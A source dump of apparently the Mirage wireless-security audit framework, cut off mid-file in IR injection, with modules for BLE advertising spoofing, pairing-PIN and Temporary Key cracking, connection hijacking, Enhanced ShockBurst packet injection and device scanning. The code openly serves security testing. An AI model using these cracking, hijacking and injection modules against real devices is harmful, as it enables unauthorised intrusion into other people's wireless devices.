homeDir = initializeHomeDir() 9 | mainApp = app.App(homeDir=homeDir) 10 | parser = argParser.ArgParser(appInstance=mainApp) 11 | parser.run() 12 | 13 | except (KeyboardInterrupt,EOFError): 14 | mainApp.exit() 15 | -------------------------------------------------------------------------------- /mirage/modules/__init__.py: -------------------------------------------------------------------------------- 1 | import os, sys, imp 2 | from mirage.core.app import App 3 | from mirage.libs.utils import getHomeDir,generateModulesDictionary 4 | 5 | if App.Instance is not None: 6 | # Modules Directory 7 | MODULES_DIR = os.path.abspath(os.path.dirname(__file__)) 8 | MODULES_USER_DIR = getHomeDir() + "/modules" 9 | 10 | # Insertion of the root directory in the PYTHON PATH 11 | #sys.path.insert(0, os.path.abspath(os.path.dirname(__file__)+"/..")) 12 | 13 | # Creation of the list of modules() 14 | __modules__ = generateModulesDictionary(MODULES_DIR, MODULES_USER_DIR) 15 | ''' 16 | __modules__ = {} 17 | 18 | for module in os.listdir(MODULES_DIR): 19 | if os.path.isfile(MODULES_DIR+"/"+module) and module[-3:] == ".py" and module != "__init__.py": 20 | __modules__[module[:-3]] = imp.load_source(module[:-3],MODULES_DIR + "/"+module) 21 | 22 | for module in os.listdir(MODULES_USER_DIR): 23 | if os.path.isfile(MODULES_USER_DIR+"/"+module) and module[-3:] == ".py" and module != "__init__.py": 24 | __modules__[module[:-3]] = imp.load_source(module[:-3],MODULES_USER_DIR + "/"+module) 25 | ''' 26 | ''' 27 | __modules__ = [] 28 | for module in os.listdir(MODULES_DIR): 29 | if os.path.isfile(MODULES_DIR+"/"+module) and module[-3:] == ".py" and module != "__init__.py": 30 | __modules__.append(module[:-3]) 31 | 32 | for module in os.listdir(MODULES_USER_DIR): 33 | if os.path.isfile(MODULES_USER_DIR+"/"+module) and module[-3:] == ".py" and module != "__init__.py": 34 | __modules__.append(module[:-3]) 35 | py_mod = imp.load_source(module[:-3],MODULES_USER_DIR + "/"+module) 36 | ''' 37 | -------------------------------------------------------------------------------- /mirage/modules/ble_adv.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import io,ble,utils 2 | from mirage.core import module 3 | 4 | class ble_adv(module.WirelessModule): 5 | def init(self): 6 | 7 | self.technology = "ble" 8 | self.type = "spoofing" 9 | self.description = "Spoofing module simulating a Bluetooth Low Energy advertiser" 10 | self.args = { 11 | "INTERFACE":"hci0", 12 | "ADVERTISING_TYPE":"ADV_IND", 13 | "ADVERTISING_DATA":"", 14 | "SCANNING_DATA":"", 15 | "ADVERTISING_ADDRESS":"", 16 | "DESTINATION_ADDRESS":"", 17 | "ADVERTISING_ADDRESS_TYPE":"public", 18 | "DESTINATION_ADDRESS_TYPE":"public", 19 | "INTERVAL_MIN":"200", 20 | "INTERVAL_MAX":"210", 21 | "ENABLE":"yes", 22 | "TIME":"0" 23 | } 24 | 25 | def checkCapabilities(self): 26 | return self.emitter.hasCapabilities("ADVERTISING") 27 | 28 | def run(self): 29 | interface = self.args["INTERFACE"] 30 | self.emitter = self.getEmitter(interface=interface) 31 | if self.checkCapabilities(): 32 | if self.emitter.isConnected(): 33 | self.emitter.sendp(ble.BLEDisconnect()) 34 | while self.emitter.isConnected(): 35 | utils.wait(seconds=0.01) 36 | address = (self.emitter.getAddress() if self.args["ADVERTISING_ADDRESS"] == "" 37 | else utils.addressArg(self.args["ADVERTISING_ADDRESS"])) 38 | if address != self.emitter.getAddress(): 39 | self.emitter.setAddress(address) 40 | 41 | if utils.isHexadecimal(self.args["SCANNING_DATA"]): 42 | scanningData = bytes.fromhex(self.args["SCANNING_DATA"]) 43 | else: 44 | scanningData = b"" 45 | 46 | if utils.isHexadecimal(self.args["ADVERTISING_DATA"]): 47 | advertisingData = bytes.fromhex(self.args["ADVERTISING_DATA"]) 48 | else: 49 | advertisingData = b"" 50 | 51 | destAddress = ("00:00:00:00:00:00" if self.args["DESTINATION_ADDRESS"] == "" 52 | else utils.addressArg(self.args["DESTINATION_ADDRESS"])) 53 | 54 | intervalMin = utils.integerArg(self.args["INTERVAL_MIN"]) 55 | intervalMax = utils.integerArg(self.args["INTERVAL_MAX"]) 56 | 57 | advertisingType = self.args["ADVERTISING_TYPE"].upper() 58 | 59 | advertisingAddressType = "public" if self.args["ADVERTISING_ADDRESS_TYPE"].lower() == "public" else "random" 60 | destinationAddressType = "public" if self.args["DESTINATION_ADDRESS_TYPE"].lower() == "public" else "random" 61 | self.emitter.setScanningParameters(data = scanningData) 62 | self.emitter.setAdvertisingParameters( 63 | type = advertisingType, 64 | destAddr = destAddress, 65 | data = advertisingData, 66 | intervalMin = intervalMin, 67 | intervalMax = intervalMax, 68 | daType=advertisingAddressType, 69 | oaType=destinationAddressType 70 | ) 71 | self.emitter.setAdvertising(enable=utils.booleanArg(self.args["ENABLE"])) 72 | time = utils.integerArg(self.args['TIME']) if self.args["TIME"] != "" else -1 73 | 74 | while time != 0: 75 | utils.wait(seconds=1) 76 | time -= 1 77 | return self.ok({"INTERFACE":self.args["INTERFACE"]}) 78 | else: 79 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to send advertisements.") 80 | return self.nok() 81 | -------------------------------------------------------------------------------- /mirage/modules/ble_connect.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import io,ble,utils 2 | from mirage.core import module 3 | 4 | class ble_connect(module.WirelessModule): 5 | def init(self): 6 | 7 | self.technology = "ble" 8 | self.type = "action" 9 | self.description = "Connection module for Bluetooth Low Energy devices" 10 | self.args = { 11 | "INTERFACE":"hci0", 12 | "TARGET":"fc:58:fa:a1:26:6b", 13 | "TIMEOUT":"3", 14 | "CONNECTION_TYPE":"public" 15 | } 16 | def checkCapabilities(self): 17 | return self.emitter.hasCapabilities("INITIATING_CONNECTION") 18 | 19 | def run(self): 20 | interface = self.args["INTERFACE"] 21 | timeout = utils.integerArg(self.args["TIMEOUT"]) 22 | 23 | self.emitter = self.getEmitter(interface=interface) 24 | self.receiver = self.getReceiver(interface=interface) 25 | 26 | if self.checkCapabilities(): 27 | io.info("Trying to connect to : "+self.args["TARGET"]+" (type : "+self.args["CONNECTION_TYPE"]+")") 28 | self.emitter.sendp(ble.BLEConnect(self.args["TARGET"], type=self.args["CONNECTION_TYPE"])) 29 | 30 | while not self.receiver.isConnected() and timeout > 0: 31 | timeout -= 1 32 | utils.wait(seconds=1) 33 | 34 | if self.receiver.isConnected(): 35 | io.success("Connected on device : "+self.args["TARGET"]) 36 | return self.ok({"INTERFACE":self.args["INTERFACE"]}) 37 | 38 | else: 39 | io.fail("Error during connection establishment !") 40 | self.emitter.sendp(ble.BLEConnectionCancel()) 41 | return self.nok() 42 | else: 43 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to initiate connection.") 44 | return self.nok() 45 | -------------------------------------------------------------------------------- /mirage/modules/ble_crack.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import utils,io,ble 2 | from mirage.core import module 3 | 4 | class ble_crack(module.WirelessModule): 5 | def init(self): 6 | self.technology = "ble" 7 | self.type = "bruteforce" 8 | self.description = "Enumerates all possible values of PIN in order to find the Temporary Key" 9 | self.args = { 10 | "MASTER_RAND":"", 11 | "SLAVE_RAND":"", 12 | "PAIRING_REQUEST":"", 13 | "PAIRING_RESPONSE":"", 14 | "INITIATOR_ADDRESS":"11:22:33:44:55:66", 15 | "INITIATOR_ADDRESS_TYPE":"public", 16 | "RESPONDER_ADDRESS":"11:22:33:44:55:66", 17 | "RESPONDER_ADDRESS_TYPE":"public", 18 | "MASTER_CONFIRM":"", 19 | "SLAVE_CONFIRM":"" 20 | 21 | } 22 | 23 | def checkParametersValidity(self): 24 | 25 | couple = ( 26 | (self.args["MASTER_RAND"] != "" and self.args["MASTER_CONFIRM"] != "") or 27 | (self.args["SLAVE_RAND"] != "" and self.args["SLAVE_CONFIRM"] != "") 28 | ) 29 | 30 | addresses = ( 31 | self.args["INITIATOR_ADDRESS"] != "" and 32 | self.args["RESPONDER_ADDRESS"] != "" and 33 | self.args["INITIATOR_ADDRESS_TYPE"] != "" and 34 | self.args["RESPONDER_ADDRESS_TYPE"] != "" 35 | ) 36 | payloads = (self.args["PAIRING_REQUEST"] != "" and self.args["PAIRING_RESPONSE"] != "") 37 | return couple and addresses and payloads 38 | 39 | def run(self): 40 | if self.checkParametersValidity(): 41 | self.mRand = bytes.fromhex(self.args["MASTER_RAND"]) 42 | self.sRand = bytes.fromhex(self.args["SLAVE_RAND"]) 43 | 44 | 45 | 46 | self.pReq = bytes.fromhex(self.args["PAIRING_REQUEST"]) 47 | self.pRes = bytes.fromhex(self.args["PAIRING_RESPONSE"]) 48 | self.initiatorAddress = utils.addressArg(self.args["INITIATOR_ADDRESS"]) 49 | self.responderAddress = utils.addressArg(self.args["RESPONDER_ADDRESS"]) 50 | self.initiatorAddressType = b"\x00" if self.args["INITIATOR_ADDRESS_TYPE"] == "public" else b"\x01" 51 | self.responderAddressType = b"\x00" if self.args["RESPONDER_ADDRESS_TYPE"] == "public" else b"\x01" 52 | 53 | self.mConfirm = bytes.fromhex(self.args["MASTER_CONFIRM"]) 54 | self.sConfirm = bytes.fromhex(self.args["SLAVE_CONFIRM"]) 55 | 56 | rand = self.mRand if self.mRand != b"" and self.mConfirm != b"" else self.sRand 57 | confirm = self.mConfirm if self.mRand != b"" and self.mConfirm != b"" else self.sConfirm 58 | 59 | 60 | 61 | io.info("Cracking TK ...") 62 | 63 | pin = ble.BLECrypto.crackTemporaryKey( 64 | rand, 65 | self.pReq, 66 | self.pRes, 67 | self.initiatorAddressType, 68 | self.initiatorAddress, 69 | self.responderAddressType, 70 | self.responderAddress, 71 | confirm 72 | ) 73 | io.success("Pin found : "+str(pin)) 74 | self.temporaryKey = bytes.fromhex((32-len(hex(pin)[2:]))*"0"+hex(pin)[2:]) 75 | io.success("Temporary Key found : "+self.temporaryKey.hex()) 76 | 77 | if self.mRand != b"" and self.sRand != b"": 78 | self.shortTermKey = ble.BLECrypto.s1(self.temporaryKey,self.mRand,self.sRand)[::-1] 79 | io.success("Short Term Key found : "+self.shortTermKey.hex()) 80 | return self.ok({"PIN":str(pin), "TEMPORARY_KEY":self.temporaryKey.hex(),"SHORT_TERM_KEY":self.shortTermKey.hex()}) 81 | return self.ok({"PIN":str(pin), "TEMPORARY_KEY":self.temporaryKey.hex()}) 82 | else: 83 | io.fail("Missing parameters !") 84 | return self.nok() 85 | -------------------------------------------------------------------------------- /mirage/modules/ble_hijack.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import io,ble,utils 2 | from mirage.core import module 3 | 4 | class ble_hijack(module.WirelessModule): 5 | def init(self): 6 | 7 | self.technology = "ble" 8 | self.type = "attack" 9 | self.description = "Hijacking module for Bluetooth Low Energy Connections" 10 | self.dependencies = ["ble_sniff"] 11 | self.args = { 12 | "INTERFACE":"microbit0", 13 | "INTERFACEA":"", 14 | "INTERFACEB":"", 15 | "TARGET":"", 16 | "CHANNEL":"37", 17 | "HIJACKING_MODE":"newConnections", 18 | "ROLE":"master", 19 | "ACCESS_ADDRESS":"", 20 | "CRC_INIT":"", 21 | "CHANNEL_MAP":"" 22 | } 23 | 24 | def checkCapabilities(self): 25 | return all([receiver.hasCapabilities("HIJACKING_MASTER") for receiver in self.receivers]) 26 | 27 | def initEmittersAndReceivers(self): 28 | self.emitters = [] 29 | self.receivers = [] 30 | if self.args["INTERFACE"] != "" and self.args["INTERFACE"] != self.args["INTERFACEA"]: 31 | interface = self.args["INTERFACE"] 32 | self.emitters.append(self.getEmitter(interface=interface)) 33 | self.receivers.append(self.getReceiver(interface=interface)) 34 | if self.args["INTERFACEA"] != "" and self.args["INTERFACEB"] != self.args["INTERFACEA"]: 35 | interfacea = self.args["INTERFACEA"] 36 | self.emitters.append(self.getEmitter(interface=interfacea)) 37 | self.receivers.append(self.getReceiver(interface=interfacea)) 38 | if self.args["INTERFACEB"] != "" and self.args["INTERFACEB"] != self.args["INTERFACE"]: 39 | interfaceb = self.args["INTERFACEB"] 40 | self.emitters.append(self.getEmitter(interface=interfaceb)) 41 | self.receivers.append(self.getReceiver(interface=interfaceb)) 42 | 43 | def run(self): 44 | self.initEmittersAndReceivers() 45 | if self.checkCapabilities(): 46 | 47 | hijackingModule = utils.loadModule("ble_sniff") 48 | hijackingModule["INTERFACE"] = self.args["INTERFACE"] 49 | hijackingModule["INTERFACEA"] = self.args["INTERFACEA"] 50 | hijackingModule["INTERFACEB"] = self.args["INTERFACEB"] 51 | hijackingModule["SNIFFING_MODE"] = self.args["HIJACKING_MODE"] 52 | hijackingModule["TARGET"] = self.args["TARGET"] 53 | hijackingModule["ACCESS_ADDRESS"] = self.args["ACCESS_ADDRESS"] 54 | hijackingModule["CRC_INIT"] = self.args["CRC_INIT"] 55 | hijackingModule["CHANNEL_MAP"] = self.args["CHANNEL_MAP"] 56 | if self.args["ROLE"].lower() == "slave": 57 | hijackingModule["HIJACKING_SLAVE"] = "yes" 58 | elif self.args["ROLE"].lower() == "master": 59 | hijackingModule["HIJACKING_MASTER"] = "yes" 60 | else: 61 | io.fail("You have to indicate the role to hijack !") 62 | return self.nok() 63 | hijackingModule["JAMMING"] = "no" 64 | hijackingModule["CHANNEL"] = self.args["CHANNEL"] 65 | hijackingModule["PCAP_FILE"] = "" 66 | output = hijackingModule.execute() 67 | if output["success"]: 68 | return self.ok(output["output"]) 69 | else: 70 | return self.nok() 71 | else: 72 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to hijack a connection.") 73 | return self.nok() 74 | -------------------------------------------------------------------------------- /mirage/modules/ble_monitor.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import io,ble,utils 2 | from mirage.core import module 3 | 4 | class ble_monitor(module.WirelessModule): 5 | def init(self): 6 | 7 | self.technology = "ble" 8 | self.type = "monitoring" 9 | self.description = "HCI Monitoring module for Blutooth Low Energy" 10 | self.args = { 11 | "INTERFACE":"adb0", 12 | "SCENARIO":"", 13 | "TIME":"" 14 | } 15 | 16 | def checkMonitoringCapabilities(self): 17 | return self.receiver.hasCapabilities("HCI_MONITORING") 18 | 19 | 20 | @module.scenarioSignal("onKnownPacket") 21 | def onKnownPacket(self,pkt): 22 | pkt.show() 23 | 24 | @module.scenarioSignal("onPacket") 25 | def onPacket(self,pkt): 26 | if not "Unknown" in pkt.name: 27 | self.onKnownPacket(pkt) 28 | 29 | @module.scenarioSignal("onStart") 30 | def startScenario(self): 31 | pass 32 | 33 | @module.scenarioSignal("onEnd") 34 | def endScenario(self): 35 | pass 36 | 37 | def monitoring(self): 38 | self.receiver.onEvent("*", callback=self.onPacket) 39 | try: 40 | if self.args["TIME"] == "": 41 | while True: 42 | utils.wait(seconds=0.00001) 43 | 44 | elif utils.isNumber(self.args["TIME"]): 45 | time = utils.integerArg(self.args["TIME"]) 46 | start = utils.now() 47 | while utils.now() - start < time: 48 | utils.wait(seconds=0.0000001) 49 | 50 | else: 51 | io.fail("You have provided a wrong TIME value.") 52 | return self.nok() 53 | except KeyboardInterrupt: 54 | pass 55 | 56 | def run(self): 57 | self.receiver = self.getReceiver(interface=self.args['INTERFACE']) 58 | if self.checkMonitoringCapabilities(): 59 | if self.loadScenario(): 60 | io.info("Scenario loaded !") 61 | self.startScenario() 62 | self.monitoring() 63 | self.endScenario() 64 | else: 65 | self.monitoring() 66 | return self.ok() 67 | -------------------------------------------------------------------------------- /mirage/modules/bt_info.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import io,bt 2 | from mirage.core import module 3 | 4 | class bt_info(module.Module): 5 | def init(self): 6 | self.technology = "bluetooth" 7 | self.type = "info" 8 | self.description = "Information module for Bluetooth interface" 9 | self.args = { 10 | "INTERFACE":"hci0" 11 | } 12 | 13 | def run(self): 14 | self.emitter = bt.BluetoothEmitter(interface=self.args["INTERFACE"]) 15 | interface = self.args["INTERFACE"] 16 | address = self.emitter.getAddress() 17 | localName = self.emitter.getLocalName() 18 | manufacturer = self.emitter.getManufacturer() 19 | changeableAddress = "yes" if self.emitter.isAddressChangeable() else "no" 20 | io.chart(["Interface","BD Address","Local Name","Manufacturer","Changeable Address"], 21 | [[interface, address,localName,manufacturer,changeableAddress]]) 22 | return self.ok({ 23 | "INTERFACE":interface, 24 | "ADDRESS":address, 25 | "LOCAL_NAME":localName, 26 | "MANUFACTURER":manufacturer, 27 | "CHANGEABLE_ADDRESS":changeableAddress 28 | }) 29 | -------------------------------------------------------------------------------- /mirage/modules/bt_scan.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import bt,utils,io 2 | from mirage.core import module 3 | 4 | class bt_scan(module.Module): 5 | def init(self): 6 | self.technology = "bluetooth" 7 | self.type = "scan" 8 | self.description = "Scan module for Bluetooth Devices" 9 | self.args = { 10 | "INTERFACE":"hci1", 11 | "TIME":"10" 12 | } 13 | 14 | self.devices = {} 15 | 16 | def displayDevices(self): 17 | devices = [] 18 | for address in self.devices: 19 | devices.append([address, hex(self.devices[address]['classOfDevice']), self.devices[address]['rssi'], self.devices[address]['data'][:26].hex()+"[...]"]) 20 | io.chart(["Address","Class Of Device", "RSSI", "Data"],devices,"Devices found") 21 | 22 | def updateDevices(self,packet): 23 | changes = 0 24 | if packet.address not in self.devices: 25 | changes += 1 26 | self.devices[packet.address] = {"classOfDevice":packet.classOfDevice,"rssi":packet.rssi,"data":packet.getRawDatas()} 27 | else: 28 | if self.devices[packet.address]["rssi"] != packet.rssi: 29 | changes += 1 30 | self.devices[packet.address]["rssi"] = packet.rssi 31 | if self.devices[packet.address]["classOfDevice"] != packet.classOfDevice: 32 | changes += 1 33 | self.devices[packet.address]["classOfDevice"] = packet.classOfDevice 34 | if self.devices[packet.address]["data"] != packet.getRawDatas(): 35 | changes += 1 36 | self.devices[packet.address]["data"] = packet.getRawDatas() 37 | if changes > 0: 38 | self.displayDevices() 39 | 40 | def run(self): 41 | self.emitter = bt.BluetoothEmitter(interface=self.args['INTERFACE']) 42 | self.receiver = bt.BluetoothReceiver(interface=self.args['INTERFACE']) 43 | time = utils.integerArg(self.args['TIME']) 44 | self.emitter.sendp(bt.BluetoothInquiry(inquiryLength=time)) 45 | 46 | scanning = True 47 | while scanning: 48 | packet = self.receiver.next() 49 | if isinstance(packet,bt.BluetoothInquiryComplete): 50 | scanning = False 51 | elif isinstance(packet,bt.BluetoothInquiryScanResult): 52 | self.updateDevices(packet) 53 | 54 | return self.ok() 55 | -------------------------------------------------------------------------------- /mirage/modules/esb_info.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import io,esb,utils 2 | from mirage.core import module 3 | 4 | class esb_info(module.WirelessModule): 5 | def init(self): 6 | self.technology = "esb" 7 | self.type = "info" 8 | self.description = "Information module for Enhanced ShockBurst interface" 9 | self.args = { 10 | "INTERFACE":"rfstorm0", 11 | "SHOW_CAPABILITIES":"yes" 12 | } 13 | self.capabilities = ["INJECTING", "SNIFFING_NORMAL", "SNIFFING_PROMISCUOUS", "SNIFFING_GENERIC_PROMISCUOUS", "ACTIVE_SCANNING"] 14 | 15 | def displayCapabilities(self): 16 | capabilitiesList = [] 17 | for capability in self.capabilities: 18 | capabilitiesList.append([capability,(io.colorize("yes","green") if self.emitter.hasCapabilities(capability) else io.colorize("no","red"))]) 19 | io.chart(["Capability","Available"],capabilitiesList) 20 | 21 | def run(self): 22 | self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) 23 | 24 | if utils.booleanArg(self.args["SHOW_CAPABILITIES"]): 25 | self.displayCapabilities() 26 | 27 | if "rfstorm" in self.args["INTERFACE"]: 28 | interface = self.args["INTERFACE"] 29 | mode = self.emitter.getMode() 30 | index = str(self.emitter.getDeviceIndex()) 31 | io.chart(["Interface","Device Index","Mode"],[[interface,"#"+index,mode]]) 32 | 33 | return self.ok({"INTERFACE":interface, 34 | "INDEX":index, 35 | "MODE":mode 36 | }) 37 | elif ".pcap" in self.args["INTERFACE"]: 38 | interface = self.args["INTERFACE"] 39 | mode = self.emitter.getMode() 40 | io.chart(["Interface","Mode"],[[interface,mode]]) 41 | return self.ok({"INTERFACE":interface, 42 | "MODE":mode 43 | }) 44 | return self.nok() 45 | -------------------------------------------------------------------------------- /mirage/modules/esb_inject.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import esb,utils,io 2 | from mirage.core import module 3 | 4 | 5 | class esb_inject(module.WirelessModule): 6 | def init(self): 7 | self.technology = "esb" 8 | self.type = "action" 9 | self.description = "Injection module for Enhanced ShockBurst communications" 10 | self.args = { 11 | "INTERFACE":"rfstorm0", 12 | "TARGET":"", 13 | "PCAP_FILE":"", 14 | "CHANNEL":"auto" 15 | } 16 | 17 | def checkInjectingCapabilities(self): 18 | return self.receiver.hasCapabilities("INJECTING") 19 | 20 | def checkActiveScanningCapabilities(self): 21 | return self.receiver.hasCapabilities("ACTIVE_SCANNING") 22 | 23 | def checkPassiveScanningCapabilities(self): 24 | return self.receiver.hasCapabilities("SNIFFING_PROMISCUOUS") 25 | 26 | def searchChannel(self): 27 | io.info("Looking for an active channel for "+self.target+"...") 28 | success = False 29 | if self.target != "FF:FF:FF:FF:FF": 30 | while not success: 31 | success = self.receiver.scan() 32 | if not success: 33 | io.fail("Channel not found !") 34 | utils.wait(seconds=0.5) 35 | io.info("Retrying ...") 36 | else: 37 | while not success: 38 | for channel in range(100): 39 | self.receiver.setChannel(channel) 40 | response = self.receiver.next(timeout=0.1) 41 | if response is not None: 42 | success = True 43 | break 44 | 45 | io.success("Channel found: "+str(self.receiver.getChannel())) 46 | 47 | 48 | def run(self): 49 | 50 | self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) 51 | self.receiver = self.getReceiver(interface=self.args["INTERFACE"]) 52 | 53 | if self.checkInjectingCapabilities(): 54 | self.pcapReceiver = self.getReceiver(interface=self.args["PCAP_FILE"]) 55 | 56 | self.target = "FF:FF:FF:FF:FF" if self.args["TARGET"] == "" else utils.addressArg(self.args["TARGET"]) 57 | 58 | if self.target == "FF:FF:FF:FF:FF" and not self.checkPassiveScanningCapabilities(): 59 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to scan in promiscuous mode, you have to provide a specific target.") 60 | return self.nok() 61 | 62 | if self.target != "FF:FF:FF:FF:FF" and self.args["CHANNEL"].lower() == "auto" and not self.checkActiveScanningCapabilities(): 63 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to perform an active scan.") 64 | return self.nok() 65 | 66 | if self.target == "FF:FF:FF:FF:FF": 67 | io.info("Promiscuous mode enabled ! Every frame contained in the file indicated in PCAP_FILE will be transmitted.") 68 | self.emitter.enterPromiscuousMode() 69 | else: 70 | io.info("Sniffing mode enabled !") 71 | self.emitter.enterSnifferMode(address=self.target) 72 | 73 | 74 | if utils.isNumber(self.args["CHANNEL"]): 75 | self.emitter.setChannel(utils.integerArg(self.args["CHANNEL"])) 76 | elif self.args["CHANNEL"].lower() == "auto": 77 | self.searchChannel() 78 | else: 79 | io.fail("A channel must be provided in order to perform an injection.") 80 | return self.nok() 81 | 82 | 83 | 84 | io.info("Extracting packet stream from PCAP ...") 85 | stream = self.pcapReceiver.generateStream() 86 | io.success("Packet stream successfully extracted !") 87 | 88 | io.info("Injecting ...") 89 | self.emitter.sendp(*stream) 90 | 91 | while not self.emitter.isTransmitting(): 92 | utils.wait(seconds=0.1) 93 | 94 | while self.emitter.isTransmitting(): 95 | utils.wait(seconds=0.1) 96 | io.success("Injection done !") 97 | return self.ok() 98 | else: 99 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to inject.") 100 | return self.nok() 101 | -------------------------------------------------------------------------------- /mirage/modules/esb_scan.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import esb,utils,io 2 | from mirage.core import module 3 | import sys 4 | 5 | class esb_scan(module.WirelessModule): 6 | def init(self): 7 | self.technology = "esb" 8 | self.type = "scan" 9 | self.description = "Scan module for Enhanced ShockBurst Devices" 10 | self.args = { 11 | "INTERFACE":"rfstorm0", 12 | "TIME":"10", 13 | "START_CHANNEL":"0", 14 | "END_CHANNEL":"99" 15 | } 16 | self.devices = {} 17 | self.changes = 0 18 | 19 | 20 | def add(self,packet): 21 | self.changes = 0 22 | if packet.address not in self.devices: 23 | self.devices[packet.address] = {"channels":set([packet.additionalInformations.channel]),"protocol":"unknown" if packet.protocol is None else packet.protocol} 24 | self.changes+=1 25 | elif packet.additionalInformations.channel not in self.devices[packet.address]["channels"]: 26 | self.devices[packet.address]["channels"].add(packet.additionalInformations.channel) 27 | self.changes+=1 28 | elif packet.protocol is not None and self.devices[packet.address]["protocol"] == "unknown": 29 | self.devices[packet.address]["protocol"] = packet.protocol 30 | self.changes+=1 31 | 32 | def displayDevices(self): 33 | if self.changes != 0: 34 | devices = [] 35 | for k,v in self.devices.items(): 36 | devices.append([str(k),",".join(str(i) for i in v["channels"]),v["protocol"]]) 37 | sys.stdout.write(" "*100+"\r") 38 | io.chart(["Address", "Channels", "Protocol"], devices) 39 | self.changes = 0 40 | 41 | def generateOutput(self): 42 | output = {} 43 | if len(self.devices) >= 1: 44 | i = 1 45 | for k,v in self.devices.items(): 46 | output["TARGET"+str(i)] = k 47 | output["PROTOCOL"+str(i)] = v["protocol"] 48 | if i == 1: 49 | output["TARGET"] = k 50 | output["PROTOCOL"] = k 51 | i+=1 52 | return output 53 | 54 | def checkScanningCapabilities(self): 55 | return self.receiver.hasCapabilities("SNIFFING_PROMISCUOUS") 56 | 57 | def run(self): 58 | self.receiver = self.getReceiver(interface=self.args['INTERFACE']) 59 | if self.checkScanningCapabilities(): 60 | self.receiver.onEvent("*",callback=self.add) 61 | self.receiver.enterPromiscuousMode() 62 | start = utils.now() 63 | 64 | if utils.isNumber(self.args["START_CHANNEL"]) and utils.integerArg(self.args["START_CHANNEL"]) < 100 and utils.integerArg(self.args["START_CHANNEL"]) >= 0: 65 | startChannel = utils.integerArg(self.args["START_CHANNEL"]) 66 | else: 67 | io.fail("You must provide a valid start channel.") 68 | return self.nok() 69 | 70 | if utils.isNumber(self.args["END_CHANNEL"]) and utils.integerArg(self.args["END_CHANNEL"]) >= startChannel and utils.integerArg(self.args["END_CHANNEL"]) < 100 and utils.integerArg(self.args["END_CHANNEL"]) >= 0: 71 | endChannel = utils.integerArg(self.args["END_CHANNEL"]) 72 | else: 73 | io.fail("You must provide a valid end channel.") 74 | return self.nok() 75 | 76 | numberOfChannels = endChannel+1 - startChannel 77 | 78 | channels = list(range(startChannel,endChannel+1)) 79 | i = 0 80 | while self.args["TIME"] == "" or utils.now() - start < utils.integerArg(self.args["TIME"]): 81 | io.progress(i,total=numberOfChannels,suffix="Channel: "+(" " if len(str(channels[i]))==1 else "")+str(channels[i])) 82 | self.receiver.setChannel(channels[i]) 83 | utils.wait(seconds=0.1) 84 | self.displayDevices() 85 | i = (i + 1) % len(channels) 86 | sys.stdout.write(" "*100+"\r") # TODO : moving it in io 87 | if len(self.devices) >= 1: 88 | return self.ok(self.generateOutput()) 89 | else: 90 | return self.nok() 91 | else: 92 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to scan devices in promiscuous mode.") 93 | return self.nok() 94 | 95 | -------------------------------------------------------------------------------- /mirage/modules/ir_info.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import io,ir,utils 2 | from mirage.core import module 3 | 4 | class ir_info(module.WirelessModule): 5 | def init(self): 6 | self.technology = "ir" 7 | self.type = "info" 8 | self.description = "Information module for IR interface" 9 | self.args = { 10 | "INTERFACE":"irma0", 11 | "SHOW_CAPABILITIES":"yes" 12 | } 13 | self.capabilities = ["INJECTING", "SNIFFING","CHANGING_FREQUENCY"] 14 | 15 | def displayCapabilities(self): 16 | capabilitiesList = [] 17 | for capability in self.capabilities: 18 | capabilitiesList.append([capability,(io.colorize("yes","green") if self.emitter.hasCapabilities(capability) else io.colorize("no","red"))]) 19 | io.chart(["Capability","Available"],capabilitiesList) 20 | 21 | def run(self): 22 | self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) 23 | 24 | if utils.booleanArg(self.args["SHOW_CAPABILITIES"]): 25 | self.displayCapabilities() 26 | 27 | if "irma" in self.args["INTERFACE"]: 28 | interface = self.args["INTERFACE"] 29 | index = str(self.emitter.getDeviceIndex()) 30 | port = self.emitter.getSerialPort() 31 | frequency = str(self.emitter.getFrequency()) 32 | io.chart(["Interface","Device Index","Serial Port","Frequency"],[[interface,"#"+index,port,frequency+" kHz"]]) 33 | 34 | return self.ok({"INTERFACE":interface, 35 | "INDEX":index, 36 | "PORT":port, 37 | "FREQUENCY":frequency 38 | }) 39 | 40 | return self.nok() 41 | 42 | -------------------------------------------------------------------------------- /mirage/modules/ir_inject.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import ir,utils,io 2 | from mirage.core import module 3 | 4 | class ir_inject(module.WirelessModule): 5 | def init(self): 6 | self.technology = "ir" 7 | self.type = "action" 8 | self.description = "Injection module for IR signals" 9 | self.args = { 10 | "INTERFACE":"irma0", 11 | "DATA":"", 12 | "PROTOCOL":"", 13 | "CODE":"", 14 | "CODE_SIZE":"", 15 | "FREQUENCY":"38" 16 | } 17 | 18 | def checkCapabilities(self): 19 | return self.emitter.hasCapabilities("SNIFFING", "CHANGING_FREQUENCY") 20 | 21 | def run(self): 22 | self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) 23 | if self.checkCapabilities(): 24 | frequency = self.emitter.getFrequency() 25 | if frequency != utils.integerArg(self.args["FREQUENCY"]): 26 | self.emitter.setFrequency(utils.integerArg(self.args["FREQUENCY"])) 27 | 28 | if self.args["CODE"] != "" and utils.isHexadecimal(self.args["CODE"]): 29 | code = self.args["CODE"] 30 | if "0x" == self.args["CODE"][:2]: 31 | code = self.args["CODE"][2:] 32 | code = bytes.fromhex(code) 33 | if self.args["PROTOCOL"].upper() == "NEC": 34 | packet = 